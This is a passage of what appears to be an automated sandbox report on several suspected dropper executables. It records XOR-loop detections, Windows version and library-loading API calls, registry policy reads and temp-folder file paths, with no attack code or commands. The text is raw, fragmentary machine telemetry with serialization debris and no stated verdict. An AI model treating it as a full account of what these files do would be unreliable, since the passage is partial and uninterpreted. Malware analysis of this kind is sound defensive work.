112961; code bytes = 33c1 Found XOR loop in file "2Pm6119.exe" at offset 114905; code bytes = 33c1 Found XOR loop in file "2Pm6119.exe" at offset 117246; code bytes = 33c1 Found XOR loop in file "2Pm6119.exe" at offset 119631; code bytes = 33c1 Found XOR loop in file "2Pm6119.exe" at offset 119959; code bytes = 33c1 Found XOR loop in file "2Pm6119.exe" at offset 121406; code bytes = 33c1 Found XOR loop in file "2Pm6119.exe" at offset 137206; code bytes = 33c1 Found XOR loop in file "2Pm6119.exe" at offset 137850; code bytes = 33c1 Found XOR loop in file "2Pm6119.exe" at offset 140574; code bytes = 33c1 Found XOR loop in file "2Pm6119.exe" at offset 140784; code bytes = 33c1 Found XOR loop in file "2Pm6119.exe" at offset 179375; code bytes = 33c1 Found XOR loop in file "2Pm6119.exe" at offset 172360; code bytes = 8030 Found XOR loop in file "2Pm6119.exe" at offset 174080; code bytes = 8030 Found XOR loop in file "2Pm6119.exe" at offset 180534; code bytes = 8030 Found XOR loop in file "6tx9CA7.exe" at offset 47568; code bytes = 33c1 Found XOR loop in file "6tx9CA7.exe" at offset 47590; code bytes = 33c1 Found XOR loop in file "6tx9CA7.exe" at offset 47612; code bytes = 33c1 Found XOR loop in file "6tx9CA7.exe" at offset 47684; code bytes = 33c1 Found XOR loop in file "6tx9CA7.exe" at offset 47780; code bytes = 33c1 Found XOR loop in file "6tx9CA7.exe" at offset 47889; code bytes = 33c1 Found XOR loop in file "6tx9CA7.exe" at offset 32194; code bytes = 8030 Found XOR loop in file "6tx9CA7.exe" at offset 81794; code bytes = 8030 Found XOR loop in file "3qu90Pt.exe" at offset 1032; code bytes = 30d0 Found XOR loop in file "1fX89KT6.exe" at offset 2233; code bytes = 8030 Found XOR loop in file "1fX89KT6.exe" at offset 2245; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 232374; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 245872; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 262562; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 350191; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 422932; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 478810; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 586145; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 589703; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 704496; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 757372; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 768979; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 822944; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 823947; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 26031; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 246082; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 486349; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 498494; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 649589; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 737892; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 863090; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 877611; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 884665; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 90891; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 102399; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 103104; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 166750; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 308739; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 367225; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 375200; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 409114; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 458907; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 570679; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 677600; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 822771; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 824806; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 868165; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 877571; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 878061; code bytes = 80302b:T1919,"d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775.exe" called "RtlGetVersion" with parameter 140100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005704) "d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775.exe" called "RtlGetVersion" with parameter 000000000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005704) "VH4vX77.exe" called "RtlGetVersion" with parameter 000000000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005648) "ro8sA21.exe" called "RtlGetVersion" with parameter 000000000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005636) "DO2BB55.exe" called "RtlGetVersion" with parameter 140100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005660) "DO2BB55.exe" called "RtlGetVersion" with parameter 000000000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005660) "TK1xO34.exe" called "RtlGetVersion" with parameter 000000000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005932) "1fX89KT6.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005768) "1fX89KT6.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b002000310000000000000000001400000000000000000000000000000000000000000000000200000238b04b002a00002a000000000000000000000000800000000000000070530023482b4c000100000000000000020000000c000000d0e94b00d0e94b00cbe94b000000000000000000000045000000000138f22f000000000058f82f0095e13177aa441900feffffff435c35775059357794000000a0000000cae94b00c8e94b0094000000dcf32f00fdfe1577bcec2f000100000058f82f0092e06d715e60d4d8feffffff74f32f004c9c6d715c0c000088f32f005f9c6d710000000000000000 (UID: 00000000-00005768) "1fX89KT6.exe" called "RtlGetVersion" with parameter 140100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005768)2c:T466,"1fX89KT6.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005768) "4HS096BX.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031000000000000000000000100000001000000000000000000000048fb2f00f0b3320000000000000000000000000000000000010000002f000000000000000000000036c4000058ab3200b8dd310098b0320040bc320000000000007e33000000000000000000000000000000000000000000 (UID: 00000000-00005984) "4HS096BX.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b203100000000000000000000000000000000000000000000000000000000000000000000b2f4357738780e77ecec210000009971000099710000000000000000f0000000f00099710000000058ec210000000000eced21000000000001000000bcec210040f535770000000000000000a8ec2100 (UID: 00000000-00005984)2d:T6c1,"d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "VH4vX77.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "VH4vX77.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "ro8sA21.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "ro8sA21.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "DO2BB55.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "DO2BB55.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "TK1xO34.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "TK1xO34.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "1fX89KT6.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "2Pm6119.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "3qu90Pt.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "4HS096BX.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED")2e:T54b,"1fX89KT6.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\IXP004.TMP\1fX89KT6.exe" at 00000000-00005768-0000010C-2198839 "4HS096BX.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\IXP002.TMP\4HS096BX.exe" at 00000000-00005984-0000010C-1738485 "4HS096BX.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll" at 00000000-00005984-0000010C-10475685 "4HS096BX.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll" at 00000000-00005984-0000010C-10481454 "4HS096BX.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll" at 00000000-00005984-0000010C-12210310 "4HS096BX.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll" at 00000000-00005984-0000010C-12215057 "4HS096BX.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll" at 00000000-00005984-0000010C-129748732f:T2dcc,"d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advpack.dll (UID: 00000000-00005704) "VH4vX77.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advpack.dll (UID: 00000000-00005648) "ro8sA21.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advpack.dll (UID: 00000000-00005636) "DO2BB55.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advpack.dll (UID: 00000000-00005660) "1fX89KT6.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00005768) "1fX89KT6.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00005768) "1fX89KT6.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00005768) "1fX89KT6.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-0.dll (UID: 00000000-00005768) "1fX89KT6.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll (UID: 00000000-00005768) "1fX89KT6.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00005768) "1fX89KT6.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00005768) "1fX89KT6.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00005768) "1fX89KT6.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll (UID: 00000000-00005768) "1fX89KT6.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll (UID: 00000000-00005768) "1fX89KT6.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00005768) "1fX89KT6.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00005768) "1fX89KT6.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clrjit.dll (UID: 00000000-00005768) "1fX89KT6.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll (UID: 00000000-00005768) "1fX89KT6.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00005768) "1fX89KT6.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00005768) "1fX89KT6.exe" called "LoadLibrary" with a parameter SspiCli.dll (UID: 00000000-00005768) "1fX89KT6.exe" called "LoadLibrary" with a parameter advapi32 (UID: 00000000-00005768) "1fX89KT6.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00005768) "1fX89KT6.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00005768) "1fX89KT6.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\nlssorting.dll (UID: 00000000-00005768) "4HS096BX.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00005984) "4HS096BX.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00005984) "4HS096BX.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-0.dll (UID: 00000000-00005984) "4HS096BX.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll (UID: 00000000-00005984) "4HS096BX.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00005984) "4HS096BX.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00005984) "4HS096BX.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00005984) "4HS096BX.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll (UID: 00000000-00005984) "4HS096BX.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll (UID: 00000000-00005984) "4HS096BX.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00005984) "4HS096BX.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\uxtheme.dll (UID: 00000000-00005984) "4HS096BX.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00005984) "4HS096BX.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clrjit.dll (UID: 00000000-00005984) "4HS096BX.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll (UID: 00000000-00005984) "4HS096BX.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Drawing\f7568d7f1b9d356f64779b4c0927cfb3\System.Drawing.ni.dll (UID: 00000000-00005984) "4HS096BX.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Windows.Forms\c9a4cbc00f690a9e3cddfc400f6e85bb\System.Windows.Forms.ni.dll (UID: 00000000-00005984) "4HS096BX.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00005984) "4HS096BX.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00005984) "4HS096BX.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\uxtheme.dll (UID: 00000000-00005984) "4HS096BX.exe" called "LoadLibrary" with a parameter uxtheme.dll (UID: 00000000-00005984) "4HS096BX.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00005984) "4HS096BX.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Core\31fae3290fad30c31c98651462d22724\System.Core.ni.dll (UID: 00000000-00005984) "4HS096BX.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Configuration\96f7edb07b12303f0ec2595c7f3778c7\System.Configuration.ni.dll (UID: 00000000-00005984) "4HS096BX.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Xml\15af16d373cf0528cb74fc73d365fdbf\System.Xml.ni.dll (UID: 00000000-00005984) "4HS096BX.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\nlssorting.dll (UID: 00000000-00005984) "4HS096BX.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00005984) "4HS096BX.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00005984) "4HS096BX.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00005984) "4HS096BX.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00005984) "4HS096BX.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00005984) "4HS096BX.exe" called "LoadLibrary" with a parameter CRYPTSP.dll (UID: 00000000-00005984) "4HS096BX.exe" called "LoadLibrary" with a parameter CRYPTBASE.dll (UID: 00000000-00005984) "4HS096BX.exe" called "LoadLibrary" with a parameter imm32.dll (UID: 00000000-00005984) "4HS096BX.exe" called "LoadLibrary" with a parameter comctl32.dll (UID: 00000000-00005984) "4HS096BX.exe" called "LoadLibrary" with a parameter gdi32.dll (UID: 00000000-00005984) "4HS096BX.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\WindowsBase\1a4cc316fb6d09525321fc0be44692d8\WindowsBase.ni.dll (UID: 00000000-00005984) "4HS096BX.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\PresentationCore\468f4e17be144ca12a73a4297eacc9cc\PresentationCore.ni.dll (UID: 00000000-00005984) "4HS096BX.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\Presentatio5ae0f00f#\252cc7b0fae8cfe083bdc149957c0c54\PresentationFramework.ni.dll (UID: 00000000-00005984) "4HS096BX.exe" called "LoadLibrary" with a parameter KERNEL32.dll (UID: 00000000-00005984) "4HS096BX.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\PresentationCore\v4.0_4.0.0.0__31bf3856ad364e35\ucrtbase_clr0400.dll (UID: 00000000-00005984) "4HS096BX.exe" called "LoadLibrary" with a parameter ucrtbase_clr0400.dll (UID: 00000000-00005984) "4HS096BX.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\PresentationCore\v4.0_4.0.0.0__31bf3856ad364e35\SHLWAPI.dll (UID: 00000000-00005984) "4HS096BX.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00005984) "4HS096BX.exe" called "LoadLibrary" with a parameter dwrite.dll (UID: 00000000-00005984) "4HS096BX.exe" called "LoadLibrary" with a parameter api-ms-win-core-string-l1-1-0 (UID: 00000000-00005984) "4HS096BX.exe" called "LoadLibrary" with a parameter api-ms-win-core-datetime-l1-1-1 (UID: 00000000-00005984) "4HS096BX.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-obsolete-l1-2-0 (UID: 00000000-00005984) "4HS096BX.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\WPF\wpfgfx_v0400.dll (UID: 00000000-00005984) "4HS096BX.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationNative_v0400.dll (UID: 00000000-00005984) "4HS096BX.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00005984) "4HS096BX.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00005984) "4HS096BX.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\VERSION.dll (UID: 00000000-00005984) "4HS096BX.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00005984) "4HS096BX.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll (UID: 00000000-00005984) "4HS096BX.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Runteb92aa12#\274e43040c8a7a02ef1065db3283005a\System.Runtime.Serialization. (UID: 00000000-00005984) "4HS096BX.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.IdentityModel\c2ef5bc545b98a289f02d0b3eddbe280\System.IdentityModel.ni.dll (UID: 00000000-00005984) "4HS096BX.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\SMDiagnostics\dc67dcb4b2fb4a3853d458cab08561f0\SMDiagnostics.ni.dll (UID: 00000000-00005984) "4HS096BX.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Intern (UID: 00000000-00005984) "4HS096BX.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Transactions\3d760b4a3260a41ef84a3fd866780980\System.Transactions.ni.dll (UID: 00000000-00005984) "4HS096BX.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clr.dll (UID: 00000000-00005984) "4HS096BX.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00005984) "4HS096BX.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ws2_32.dll (UID: 00000000-00005984) "4HS096BX.exe" called "LoadLibrary" with a parameter ws2_32.dll (UID: 00000000-00005984) "4HS096BX.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\diasymreader.dll (UID: 00000000-00005984)30:T8755,"d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00005704) "d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00005704) "d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00005704) "d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00005704) "d14f3781a88172e83ee0797e6388a05c9a1cf8026ccaa0331c86ad8a72ec5775.exe" called "GetProcAddress" with a parameter DelNodeRunDLL32 (UID: 00000000-00005704) "VH4vX77.exe" called "GetProcAddress" with a parameter DelNodeRunDLL32 (UID: 00000000-00005648) "ro8sA21.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00005636) "ro8sA21.exe" called "GetProcAddress" with a parameter DelNodeRunDLL32 (UID: 00000000-00005636) "DO2BB55.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00005660) "DO2BB55.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00005660) "DO2BB55.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00005660) "DO2BB55.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00005660) "DO2BB55.exe" called "GetProcAddress" with a parameter DelNodeRunDLL32 (UID: 00000000-00005660) "DO2BB55.exe" called "GetProcAddress" with a parameter UnregisterTraceGuids (UID: 00000000-00005660) "TK1xO34.exe" called "GetProcAddress" with a parameter UnregisterTraceGuids (UID: 00000000-00005932) "1fX89KT6.exe" called "GetProcAddress" with a parameter SetRuntimeInfo (UID: 00000000-00005768) "1fX89KT6.exe" called "GetProcAddress" with a parameter DecodePointer (UID: 00000000-00005768) "1fX89KT6.exe" called "GetProcAddress" with a parameter GetProcessWindowStation (UID: 00000000-00005768) "1fX89KT6.exe" called "GetProcAddress" with a parameter GetUserObjectInformationW (UID: 00000000-00005768) "1fX89KT6.exe" called "GetProcAddress" with a parameter _CorExeMain (UID: 00000000-00005768) "1fX89KT6.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00005768) "1fX89KT6.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00005768) "1fX89KT6.exe" called "GetProcAddress" with a parameter AddDllDirectory (UID: 00000000-00005768) "1fX89KT6.exe" called "GetProcAddress" with a parameter CreateConfigStream (UID: 00000000-00005768) "1fX89KT6.exe" called "GetProcAddress" with a parameter CreateConfigStream_RetAddr (UID: 00000000-00005768) "1fX89KT6.exe" called "GetProcAddress" with a parameter GetNumaHighestNodeNumber (UID: 00000000-00005768) 